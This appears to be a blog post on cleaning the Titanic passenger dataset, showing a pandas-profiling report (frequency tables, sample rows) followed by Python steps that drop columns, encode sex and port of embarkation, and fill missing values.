(%)</th><td>49.5%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>C85</td></tr><tr><th>2nd row</th><td>C123</td></tr><tr><th>3rd row</th><td>E46</td></tr><tr><th>4th row</th><td>G6</td></tr><tr><th>5th row</th><td>C103</td></tr></tbody></table></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160bottom-7833447131632814160string><div class=row><div class=col-sm-6><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=G6>G6</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title="C23 C25 C27">C23 C25 C27</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title="B96 B98">B96 B98</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; 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"/></g></g></g><defs><clippath id=p88f23b2407><rect height=239.813321 width=366.9 x=54.3 y=10.8 /></clippath></defs></svg><div class="caption text-center text-muted"> Histogram of lengths of the category </div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160bottom-7833447131632814160word><div class=col-sm-12><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=b98>b98</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=f>f</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=b96>b96</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=c23>c23</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=g6>g6</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=c27>c27</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=c25>c25</td><td>4</td><td><div class=bar style=width:2.0%> &nbsp; </div> 1.7% </td></tr><tr class><td title=f33>f33</td><td>3</td><td><div class=bar style=width:1.5%> &nbsp; </div> 1.3% </td></tr><tr class><td title=d>d</td><td>3</td><td><div class=bar style=width:1.5%> &nbsp; </div> 1.3% </td></tr><tr class><td title=f2>f2</td><td>3</td><td><div class=bar style=width:1.5%> &nbsp; </div> 1.3% </td></tr><tr class=other><td title="Other values (151)">Other values (151)</td><td>201</td><td><div class=bar style=width:100.0%> 84.5% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160bottom-7833447131632814160characters><div class=col-sm-12><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#7833447131632814160unicode-7833447131632814160characters aria-controls=7833447131632814160unicode-7833447131632814160characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#7833447131632814160unicode-7833447131632814160categories aria-controls=7833447131632814160unicode-7833447131632814160categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#7833447131632814160unicode-7833447131632814160scripts aria-controls=7833447131632814160unicode-7833447131632814160scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#7833447131632814160unicode-7833447131632814160blocks aria-controls=7833447131632814160unicode-7833447131632814160blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=7833447131632814160unicode-7833447131632814160characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=2>2</td><td>72</td><td><div class=bar style=width:35.8%> &nbsp; </div> 9.8% </td></tr><tr class><td title=C>C</td><td>71</td><td><div class=bar style=width:35.3%> &nbsp; </div> 9.7% </td></tr><tr class><td title=B>B</td><td>64</td><td><div class=bar style=width:31.8%> &nbsp; </div> 8.7% </td></tr><tr class><td title=1>1</td><td>61</td><td><div class=bar style=width:30.3%> &nbsp; </div> 8.3% </td></tr><tr class><td title=3>3</td><td>59</td><td><div class=bar style=width:29.4%> &nbsp; </div> 8.1% </td></tr><tr class><td title=6>6</td><td>51</td><td><div class=bar style=width:25.4%> &nbsp; </div> 7.0% </td></tr><tr class><td title=5>5</td><td>45</td><td><div class=bar style=width:22.4%> &nbsp; </div> 6.1% </td></tr><tr class><td title=8>8</td><td>37</td><td><div class=bar style=width:18.4%> &nbsp; </div> 5.1% </td></tr><tr class><td title=4>4</td><td>37</td><td><div class=bar style=width:18.4%> &nbsp; </div> 5.1% </td></tr><tr class><td title=D>D</td><td>34</td><td><div class=bar style=width:16.9%> &nbsp; </div> 4.6% </td></tr><tr class=other><td title="Other values (9)">Other values (9)</td><td>201</td><td><div class=bar style=width:100.0%> 27.5% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160unicode-7833447131632814160categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>460</td><td><div class=bar style=width:100.0%> 62.8% </div></td></tr><tr class><td title="Uppercase Letter">Uppercase Letter</td><td>238</td><td><div class=bar style=width:51.7%> 32.5% </div></td></tr><tr class><td title="Space Separator">Space Separator</td><td>34</td><td><div class=bar style=width:7.4%> &nbsp; </div> 4.6% </td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=2>2</td><td>72</td><td><div class=bar style=width:100.0%> 15.7% </div></td></tr><tr class><td title=1>1</td><td>61</td><td><div class=bar style=width:84.7%> 13.3% </div></td></tr><tr class><td title=3>3</td><td>59</td><td><div class=bar style=width:81.9%> 12.8% </div></td></tr><tr class><td title=6>6</td><td>51</td><td><div class=bar style=width:70.8%> 11.1% </div></td></tr><tr class><td title=5>5</td><td>45</td><td><div class=bar style=width:62.5%> 9.8% </div></td></tr><tr class><td title=8>8</td><td>37</td><td><div class=bar style=width:51.4%> 8.0% </div></td></tr><tr class><td title=4>4</td><td>37</td><td><div class=bar style=width:51.4%> 8.0% </div></td></tr><tr class><td title=7>7</td><td>34</td><td><div class=bar style=width:47.2%> 7.4% </div></td></tr><tr class><td title=9>9</td><td>33</td><td><div class=bar style=width:45.8%> 7.2% </div></td></tr><tr class><td title=0>0</td><td>31</td><td><div class=bar style=width:43.1%> 6.7% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=C>C</td><td>71</td><td><div class=bar style=width:100.0%> 29.8% </div></td></tr><tr class><td title=B>B</td><td>64</td><td><div class=bar style=width:90.1%> 26.9% </div></td></tr><tr class><td title=D>D</td><td>34</td><td><div class=bar style=width:47.9%> 14.3% </div></td></tr><tr class><td title=E>E</td><td>33</td><td><div class=bar style=width:46.5%> 13.9% </div></td></tr><tr class><td title=A>A</td><td>15</td><td><div class=bar style=width:21.1%> &nbsp; </div> 6.3% </td></tr><tr class><td title=F>F</td><td>13</td><td><div class=bar style=width:18.3%> &nbsp; </div> 5.5% </td></tr><tr class><td title=G>G</td><td>7</td><td><div class=bar style=width:9.9%> &nbsp; </div> 2.9% </td></tr><tr class><td title=T>T</td><td>1</td><td><div class=bar style=width:1.4%> &nbsp; </div> 0.4% </td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>34</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160unicode-7833447131632814160scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Common>Common</td><td>494</td><td><div class=bar style=width:100.0%> 67.5% </div></td></tr><tr class><td title=Latin>Latin</td><td>238</td><td><div class=bar style=width:48.2%> 32.5% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=2>2</td><td>72</td><td><div class=bar style=width:100.0%> 14.6% </div></td></tr><tr class><td title=1>1</td><td>61</td><td><div class=bar style=width:84.7%> 12.3% </div></td></tr><tr class><td title=3>3</td><td>59</td><td><div class=bar style=width:81.9%> 11.9% </div></td></tr><tr class><td title=6>6</td><td>51</td><td><div class=bar style=width:70.8%> 10.3% </div></td></tr><tr class><td title=5>5</td><td>45</td><td><div class=bar style=width:62.5%> 9.1% </div></td></tr><tr class><td title=8>8</td><td>37</td><td><div class=bar style=width:51.4%> 7.5% </div></td></tr><tr class><td title=4>4</td><td>37</td><td><div class=bar style=width:51.4%> 7.5% </div></td></tr><tr class><td title=" "></td><td>34</td><td><div class=bar style=width:47.2%> 6.9% </div></td></tr><tr class><td title=7>7</td><td>34</td><td><div class=bar style=width:47.2%> 6.9% </div></td></tr><tr class><td title=9>9</td><td>33</td><td><div class=bar style=width:45.8%> 6.7% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=C>C</td><td>71</td><td><div class=bar style=width:100.0%> 29.8% </div></td></tr><tr class><td title=B>B</td><td>64</td><td><div class=bar style=width:90.1%> 26.9% </div></td></tr><tr class><td title=D>D</td><td>34</td><td><div class=bar style=width:47.9%> 14.3% </div></td></tr><tr class><td title=E>E</td><td>33</td><td><div class=bar style=width:46.5%> 13.9% </div></td></tr><tr class><td title=A>A</td><td>15</td><td><div class=bar style=width:21.1%> &nbsp; </div> 6.3% </td></tr><tr class><td title=F>F</td><td>13</td><td><div class=bar style=width:18.3%> &nbsp; </div> 5.5% </td></tr><tr class><td title=G>G</td><td>7</td><td><div class=bar style=width:9.9%> &nbsp; </div> 2.9% </td></tr><tr class><td title=T>T</td><td>1</td><td><div class=bar style=width:1.4%> &nbsp; </div> 0.4% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7833447131632814160unicode-7833447131632814160blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>732</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=2>2</td><td>72</td><td><div class=bar style=width:35.8%> &nbsp; </div> 9.8% </td></tr><tr class><td title=C>C</td><td>71</td><td><div class=bar style=width:35.3%> &nbsp; </div> 9.7% </td></tr><tr class><td title=B>B</td><td>64</td><td><div class=bar style=width:31.8%> &nbsp; </div> 8.7% </td></tr><tr class><td title=1>1</td><td>61</td><td><div class=bar style=width:30.3%> &nbsp; </div> 8.3% </td></tr><tr class><td title=3>3</td><td>59</td><td><div class=bar style=width:29.4%> &nbsp; </div> 8.1% </td></tr><tr class><td title=6>6</td><td>51</td><td><div class=bar style=width:25.4%> &nbsp; </div> 7.0% </td></tr><tr class><td title=5>5</td><td>45</td><td><div class=bar style=width:22.4%> &nbsp; </div> 6.1% </td></tr><tr class><td title=8>8</td><td>37</td><td><div class=bar style=width:18.4%> &nbsp; </div> 5.1% </td></tr><tr class><td title=4>4</td><td>37</td><td><div class=bar style=width:18.4%> &nbsp; </div> 5.1% </td></tr><tr class><td title=D>D</td><td>34</td><td><div class=bar style=width:16.9%> &nbsp; </div> 4.6% </td></tr><tr class=other><td title="Other values (9)">Other values (9)</td><td>201</td><td><div class=bar style=width:100.0%> 27.5% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_7095690395797544453></a><div class=variable><div class=col-sm-3><p class=h4 title=Embarked><a href=#pp_var_7095690395797544453>Embarked</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>3</td></tr><tr><th>Distinct (%)</th><td>0.3%</td></tr><tr><th>Missing</th><td>2</td></tr><tr><th>Missing (%)</th><td>0.2%</td></tr><tr><th>Memory size</th><td>50.5 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> S </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 644&nbsp; </div></td></tr><tr class><th width=50%> C </th><td width=50%><div class=bar style=width:26.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 168&nbsp; </div></td></tr><tr class><th width=50%> Q </th><td width=50%><div class=bar style=width:12.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 77&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-7095690395797544453, #minifreqtable7095690395797544453" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-7095690395797544453 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#7095690395797544453bottom-7095690395797544453overview aria-controls=7095690395797544453bottom-7095690395797544453overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453string aria-controls=7095690395797544453bottom-7095690395797544453string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453word aria-controls=7095690395797544453bottom-7095690395797544453word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453characters aria-controls=7095690395797544453bottom-7095690395797544453characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=7095690395797544453bottom-7095690395797544453overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>889</td></tr><tr><th>Distinct characters</th><td>3</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr><th>Unique (%)</th><td>0.0%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>S</td></tr><tr><th>2nd row</th><td>C</td></tr><tr><th>3rd row</th><td>S</td></tr><tr><th>4th row</th><td>S</td></tr><tr><th>5th row</th><td>S</td></tr></tbody></table></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7095690395797544453bottom-7095690395797544453string><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=S>S</td><td>644</td><td><div class=bar style=width:100.0%> 72.3% </div></td></tr><tr class><td title=C>C</td><td>168</td><td><div class=bar style=width:26.1%> &nbsp; </div> 18.9% </td></tr><tr class><td title=Q>Q</td><td>77</td><td><div class=bar style=width:12.0%> &nbsp; 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</div> 18.9% </td></tr><tr class><td title=Q>Q</td><td>77</td><td><div class=bar style=width:12.0%> &nbsp; </div> 8.7% </td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7095690395797544453unicode-7095690395797544453categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Uppercase Letter">Uppercase Letter</td><td>889</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=S>S</td><td>644</td><td><div class=bar style=width:100.0%> 72.4% </div></td></tr><tr class><td title=C>C</td><td>168</td><td><div class=bar style=width:26.1%> &nbsp; </div> 18.9% </td></tr><tr class><td title=Q>Q</td><td>77</td><td><div class=bar style=width:12.0%> &nbsp; </div> 8.7% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7095690395797544453unicode-7095690395797544453scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Latin>Latin</td><td>889</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=S>S</td><td>644</td><td><div class=bar style=width:100.0%> 72.4% </div></td></tr><tr class><td title=C>C</td><td>168</td><td><div class=bar style=width:26.1%> &nbsp; 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</div> 18.9% </td></tr><tr class><td title=Q>Q</td><td>77</td><td><div class=bar style=width:12.0%> &nbsp; </div> 8.7% </td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row header"><a class=anchor-pos id=interactions></a><h1 class=page-header>Interactions</h1></div><div class=section-items><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#interactions-interactions_passengerid aria-controls=interactions-interactions_passengerid role=tab data-toggle=tab>PassengerId</a></li><li role=presentation><a href=#interactions-interactions_age aria-controls=interactions-interactions_age role=tab data-toggle=tab>Age</a></li><li role=presentation><a href=#interactions-interactions_sibsp aria-controls=interactions-interactions_sibsp role=tab data-toggle=tab>SibSp</a></li><li role=presentation><a href=#interactions-interactions_parch aria-controls=interactions-interactions_parch role=tab data-toggle=tab>Parch</a></li><li role=presentation><a href=#interactions-interactions_fare aria-controls=interactions-interactions_fare role=tab data-toggle=tab>Fare</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=interactions-interactions_passengerid><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#interactions_passengerid-interactions_passengerid_passengerid aria-controls=interactions_passengerid-interactions_passengerid_passengerid role=tab data-toggle=tab>PassengerId</a></li><li role=presentation><a href=#interactions_passengerid-interactions_passengerid_age aria-controls=interactions_passengerid-interactions_passengerid_age role=tab data-toggle=tab>Age</a></li><li role=presentation><a href=#interactions_passengerid-interactions_passengerid_sibsp aria-controls=interactions_passengerid-interactions_passengerid_sibsp role=tab data-toggle=tab>SibSp</a></li><li role=presentation><a href=#interactions_passengerid-interactions_passengerid_parch aria-controls=interactions_passengerid-interactions_passengerid_parch role=tab data-toggle=tab>Parch</a></li><li role=presentation><a href=#interactions_passengerid-interactions_passengerid_fare aria-controls=interactions_passengerid-interactions_passengerid_fare role=tab data-toggle=tab>Fare</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=interactions_passengerid-interactions_passengerid_passengerid></div><div role=tabpanel class="tab-pane col-sm-12" id=interactions_passengerid-interactions_passengerid_age><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</script><div style=display:inline><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#correlations_tab-pearson aria-controls=correlations_tab-pearson role=tab data-toggle=tab>Pearson's r</a></li><li role=presentation><a href=#correlations_tab-spearman aria-controls=correlations_tab-spearman role=tab data-toggle=tab>Spearman's ρ</a></li><li role=presentation><a href=#correlations_tab-kendall aria-controls=correlations_tab-kendall role=tab data-toggle=tab>Kendall's τ</a></li><li role=presentation><a href=#correlations_tab-phi_k aria-controls=correlations_tab-phi_k role=tab data-toggle=tab>Phik (φk)</a></li><li role=presentation><a href=#correlations_tab-cramers aria-controls=correlations_tab-cramers role=tab data-toggle=tab>Cramér's V (φc)</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=correlations_tab-pearson><div class="col-sm-6 correlation-diagram"><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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Laina</td><td>female</td><td>26.0</td><td>0</td><td>0</td><td>STON/O2. 3101282</td><td>7.9250</td><td>NaN</td><td>S</td></tr><tr><th>3</th><td>4</td><td>1</td><td>1</td><td>Futrelle, Mrs. Jacques Heath (Lily May Peel)</td><td>female</td><td>35.0</td><td>1</td><td>0</td><td>113803</td><td>53.1000</td><td>C123</td><td>S</td></tr><tr><th>4</th><td>5</td><td>0</td><td>3</td><td>Allen, Mr. William Henry</td><td>male</td><td>35.0</td><td>0</td><td>0</td><td>373450</td><td>8.0500</td><td>NaN</td><td>S</td></tr><tr><th>5</th><td>6</td><td>0</td><td>3</td><td>Moran, Mr. James</td><td>male</td><td>NaN</td><td>0</td><td>0</td><td>330877</td><td>8.4583</td><td>NaN</td><td>Q</td></tr><tr><th>6</th><td>7</td><td>0</td><td>1</td><td>McCarthy, Mr. Timothy J</td><td>male</td><td>54.0</td><td>0</td><td>0</td><td>17463</td><td>51.8625</td><td>E46</td><td>S</td></tr><tr><th>7</th><td>8</td><td>0</td><td>3</td><td>Palsson, Master. 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Margaret Edith</td><td>female</td><td>19.0</td><td>0</td><td>0</td><td>112053</td><td>30.0000</td><td>B42</td><td>S</td></tr><tr><th>888</th><td>889</td><td>0</td><td>3</td><td>Johnston, Miss. Catherine Helen "Carrie"</td><td>female</td><td>NaN</td><td>1</td><td>2</td><td>W./C. 6607</td><td>23.4500</td><td>NaN</td><td>S</td></tr><tr><th>889</th><td>890</td><td>1</td><td>1</td><td>Behr, Mr. Karl Howell</td><td>male</td><td>26.0</td><td>0</td><td>0</td><td>111369</td><td>30.0000</td><td>C148</td><td>C</td></tr><tr><th>890</th><td>891</td><td>0</td><td>3</td><td>Dooley, Mr. Patrick</td><td>male</td><td>32.0</td><td>0</td><td>0</td><td>370376</td><td>7.7500</td><td>NaN</td><td>Q</td></tr></tbody></table></div></div></div></div></div><footer><div class=container-fluid><div class="row center-block footer-text"><p class="text-muted text-center">Report generated with <a href=https://github.com/pandas-profiling/pandas-profiling>pandas-profiling</a>.</p></div></div></footer><script>
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a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML=" <link/><table></table><a href='/a'>a</a><input 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<h2 id="cleaning-data">Cleaning Data</h2>
<p>We can see that around 20% of entries are missing the age. Further, 77,1% are missing the cabin number. I decided to simply remove these columns.
Further, there are values such as the name and the ticket which are irrelevant for a prediction. We again delete them.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">del</span> <span class="n">train</span><span class="p">[</span><span class="s">'Age'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">train</span><span class="p">[</span><span class="s">'Cabin'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">train</span><span class="p">[</span><span class="s">'Name'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">train</span><span class="p">[</span><span class="s">'Ticket'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">test</span><span class="p">[</span><span class="s">'Age'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">test</span><span class="p">[</span><span class="s">'Cabin'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">test</span><span class="p">[</span><span class="s">'Name'</span><span class="p">]</span>
<span class="k">del</span> <span class="n">test</span><span class="p">[</span><span class="s">'Ticket'</span><span class="p">]</span>
</code></pre></div></div>
<p>Additionally, the sex is “male” or “female”. This should be 1 or 0.
The same is true with the embarkment. People entered the Titanic on Southampton (S), Cherbourg (C) or Queenstown (Q). We want 0, 1, 2.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">train</span><span class="p">[</span><span class="s">'Sex'</span><span class="p">]</span><span class="o">=</span><span class="n">train</span><span class="p">[</span><span class="s">'Sex'</span><span class="p">].</span><span class="n">replace</span><span class="p">({</span><span class="s">'male'</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s">'female'</span><span class="p">:</span><span class="mi">1</span><span class="p">})</span>
<span class="n">train</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">]</span><span class="o">=</span><span class="n">train</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">].</span><span class="n">replace</span><span class="p">({</span><span class="s">'S'</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s">'C'</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="s">'Q'</span><span class="p">:</span><span class="mi">2</span><span class="p">})</span>
<span class="n">test</span><span class="p">[</span><span class="s">'Sex'</span><span class="p">]</span><span class="o">=</span><span class="n">test</span><span class="p">[</span><span class="s">'Sex'</span><span class="p">].</span><span class="n">replace</span><span class="p">({</span><span class="s">'male'</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s">'female'</span><span class="p">:</span><span class="mi">1</span><span class="p">})</span>
<span class="n">test</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">]</span><span class="o">=</span><span class="n">test</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">].</span><span class="n">replace</span><span class="p">({</span><span class="s">'S'</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s">'C'</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="s">'Q'</span><span class="p">:</span><span class="mi">2</span><span class="p">})</span>
</code></pre></div></div>
<p>There are some more optimizations we could do. As an example, we could match some of the titles in the names and cluster them into groups. Or we could cluster the Fares into groups of cheap and expensive tickets. But this is good enough.</p>
<p>For the column ‘embarked’ two values are missing. We could either remove these values completely, but then we may lose the other implications of the name and gender. So I decided to fill it in with the most common port.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">freq_port</span> <span class="o">=</span> <span class="n">train</span><span class="p">.</span><span class="n">Embarked</span><span class="p">.</span><span class="n">dropna</span><span class="p">().</span><span class="n">mode</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">train</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">]</span> <span class="o">=</span> <span class="n">train</span><span class="p">[</span><span class="s">'Embarked'</span><span class="p">].</span><span class="n">fillna</span><span class="p">(</span><span class="n">freq_port</span><span class="p">)</span>
</code></pre></div></div>
<p>For the testing data set, there is a missing value for the fare for one passenger. (Yeah, this took me a really long time to find.) Again, we insert the mean. This time with different code, though.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">test</span><span class="p">.</span><span class="n">fillna</span><span class="p">(</span><span class="n">test</span><span class="p">.</span><span class="n">mean</span><span class="p">(),</span> <span class="n">inplace</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="looking-at-the-cleaned-data">Looking at the cleaned data</h2>
<p>Next, we take a look at the data again and see that it is clean.</p>
